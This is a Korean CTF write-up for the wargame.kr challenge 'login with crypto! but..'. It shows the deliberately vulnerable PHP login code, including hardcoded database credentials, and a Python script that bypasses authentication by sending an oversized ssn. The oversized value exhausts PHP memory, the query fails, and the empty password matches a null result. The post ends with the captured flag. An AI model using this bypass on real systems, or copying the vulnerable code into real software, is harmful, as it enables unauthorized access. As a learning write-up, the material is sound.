늘모자란, 개발 :: [wargame.kr] Challenge 31 - login with crypto! but..

늘모자란, 개발

sucker_enc is sucks.

Can you login?


썩의 연속이다
썩었다는것 같다. 개그아님..

 <?php

if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}

include("../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)

create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);

********************************************************/

function db_conn(){
 mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 mysql_select_db("login_with_crypto_but");
}

function init(){
 db_conn();
 $password = crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing

function enc($str){
 $s_key = "L0V3LySH:";
 $s_vector_iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DES, MCRYPT_MODE_ECB), MCRYPT_RAND);
 $en_str = mcrypt_encrypt(MCRYPT_3DES, $s_key, $str, MCRYPT_MODE_ECB, $s_vector_iv);
 $en_base64 = base64_encode($en_str);
 $en_hex = bin2hex($en_str);
 return $en_hex;
}

function sucker_enc($str){
 for($i=0;$i<8;$i++) $str = enc($str);
 return $str;
}

function get_password($user,$ssn){
 db_conn();
 $user = mysql_real_escape_string($user);
 $ssn  = mysql_real_escape_string($ssn);
 $result = mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 $row = mysql_fetch_array($result);
 if ($row === false) {
  die("there is not valid account!");
 }
 return $row[0]; 
}

ini_set("display_errors", true);

if( (isset($_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!

 if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){

  if($_POST['user'] == "admin"){
   echo "Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo "Login Success. but you r not 'admin'..";
  }
 }else{
  echo "Login Failed";
 }

}

?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>



코드는 이렇다. 이제 풀어보자.
일단 시도를 좀 해보려니까 페이지 자체에 로딩이 있다. sleep이 걸려있는듯 하니 전사공격은 빠르게 포기하는걸로 하자.

user, ssn, pass가 모두 필요하고 get_password 함수를 호출한다.
유저는 그대로 사용하지만 encrypt_ss 컬럼을 위해 sucker_enc를 호출하는데

sucker_enc는 그냥 enc를 8번 반복하는 함수이다.. enc에서는 3DES화 해서 암호화한다.
코드에서 guest의 SSN을 알고 있으니 그대로 돌려보기로 했다.

Warning: mcrypt_encrypt(): Key of size 9 not supported by this algorithm. Only keys of size 24 supported in  on line 7


????이게뭐야.. 알아보니 php5.6이상부턴 임의 padding을 안해준다는 것 같다.

그래서, pad 함수를 만들어 돌려봤다. 제대로 돌아간다.

function pad_key($key){
        while(strlen($key) < 24) $key = $key."\0";
    return $key;
}


2048자의 비밀번호가 나온다. 이걸 진짜 비밀번호로 쓰는진 잘 모르겠지만....
admin의 881114가 SSN인걸 안다고 뭐가 달라질까? 소스를 돌려본게 멍청한짓임을 나중에 깨달았다. ㅡㅡ


차근차근 다시 보자.

$_POST['pass']와 get_password 에서 나오는 결과를 같게 해야하는데 내 상식선에서는 얘를 뛰어넘을 방법이 없다. (전사 공격이 안되기때문에)

결국 pass를 null로 하고 get_password를 null로해서 매칭을 시키든지 해야하는데, get_password에서 나오는 결과는 null이 될 수가 없다
결국 매직 해쉬같은거 마냥 쿼리를 뿌셔트려서 row가 false가 나오는게 아니라, null이 나오도록 바꿔야한다.

그래서 함수의 취약점을 찾아보기 시작했다.근데 딱히 만족스러운 답이 안나왔다. 어떻게하면 mysql_query 를 disable시킬 수 있을 것인가.
일단 내 생각에 pass에는 값을 넣지않는게 확실했고, php changelog를 많이 살펴보니 php에 버퍼오버플로우가 발생할 수 있어서 취약점 패치를 많이 한걸 볼 수 있었다.

그래서 BOF에 초점을 두고 검색질을 좀 해봤다.
우선 php 의 string은 2GB까지 ㅡㅡ 저장할 수 있다고 한다. 메모리 할당에 따라 다르겠지만 일단은 그렇다고한다.
그 와중에 좀 뜬금없이 찾은건데, 이 코드를 발견했다.

잘 보면 mysql_real_escape_string 전에 bof 방지를 위해서라면서 LENGTH 체크를 하고 있다.
그렇다면..? 숫자를 왕창 크게 해서 날려보기로 했다. 첨에 "1"*10000000000000000000000 막 이렇게 했더니 python자체 에러가; long size에 맞춰서 얌전히 보내야 하는것 같다. 그러다가 에러코드를 하나 얻었다

<br />
<b>Fatal error</b>:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 64000001 bytes) in <b>/home/www/login_with_crypto_but/index.php</b> on line <b>39</b><br />


그러니까 이건, 그냥 지나쳤던 ini_set("display_errors", true); 라는 구문도 그냥 넘기지 말았어야 한것이다. 에러를 보여주는게 힌트였던것..
그래서 저기 적힌 숫자들을 곱해서 시도해보니까 안된다. 에러메세지는 안나오는데 그냥 index페이지가 호출되었다. 결국 숫자를 좀 더 줄여서 시도했다. 페이탈 에러를 자주 접할 수 있었다....

그렇게 줄여나가다보니 640001 은 안되고, 64001 에서 there is not valid ... 에러를 접할 수 있었다.
요 사이의 숫자를 넣으면 될것이라고 확신했다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, random

headers = {'Host': 'wargame.kr:8080'}

num = "0"*84001

data = "user=admin"
data = data + "&ssn=" + str(num)
data = data + "&pass="

req = urllib2.Request("http://wargame.kr:8080/login_with_crypto_but/index.php", data, headers)
response = urllib2.urlopen(req)

res = response.read()
print res


짜잔~

<br />
<b>Warning</b>:  mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/home/www/login_with_crypto_but/index.php</b> on line <b>53</b><br />
Login Success!!! PASSWORD IS : <b>0f6fe792426d531074694f805515c706bdeaac0b</b><hr />
2016/06/22 05:00 2016/06/22 05:00